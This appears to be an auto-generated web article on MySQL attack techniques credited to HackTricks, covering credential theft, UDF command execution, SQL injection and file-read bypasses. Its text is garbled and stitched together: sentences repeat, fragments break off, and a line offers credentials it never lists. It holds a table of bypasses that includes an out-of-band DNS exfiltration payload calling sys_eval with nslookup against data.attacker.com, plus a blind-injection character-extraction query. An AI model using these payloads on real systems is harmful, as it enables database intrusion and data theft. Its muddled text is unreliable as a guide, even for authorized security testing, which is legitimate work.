Remember: always act with authorization. These "hacks" are for ethical penetration testing and CTFs only.
The phrase “MySQL HackTricks verified” is not a marketing slogan; it represents a community‑vetted collection of practical attack paths that have been executed and proven effective against real MySQL configurations. From credential theft to OS command execution via UDFs, these techniques highlight the importance of least privilege, proper configuration of secure_file_priv , and regular auditing of MySQL user grants. For penetration testers, the verified methods offer a reliable toolkit. For defenders, they provide a concrete baseline for security validation. Ultimately, the value of HackTricks lies in its verification – bridging the gap between theoretical vulnerability and demonstrable compromise.
Try these credentials to see if you can gain unauthorized access to the database. mysql hacktricks verified
HackTricks emphasizes various SQLi methods to bypass authentication or extract data.
In the world of cybersecurity, the MySQL database is a prime target. Whether it’s an exposed port 3306 on a public server or a SQL Injection vulnerability in a web application, compromising MySQL often leads to full database access, credential harvesting, or even Remote Code Execution (RCE). Remember: always act with authorization
| Technique | Failure Reason | Verified Alternative | | :--- | :--- | :--- | | INTO OUTFILE | secure_file_priv is set | Use INTO DUMPFILE in plugin dir | | LOAD_FILE() | File size > max_allowed_packet | Use LOAD DATA LOCAL INFILE | | UDF Shell | plugin_dir not writable | Try writing to tmp and restarting MySQL (rare) | | OOB DNS | Linux doesn't support UNC | Use sys_eval('nslookup data.attacker.com') |
If direct reading is blocked, a common bypass involves examining the /proc filesystem on Linux systems to read configuration files or environment variables from other processes. From credential theft to OS command execution via
Set secure_file_priv = /var/lib/mysql-files/ in your my.cnf configuration file to prevent arbitrary file reading and writing across the entire filesystem.
Activating the CreateSession option allows the penetration tester to obtain an interactive MySQL client session immediately upon a successful login. 3. Post-Exploitation and Privilege Escalation
: Check if the MySQL service is running as a high-privileged user (like root or SYSTEM ), which directly grants those privileges upon successful shell execution.
To exfiltrate data character-by-character, substring() and ascii() are indispensable. SELECT ascii(substring(database(),1,1))=114;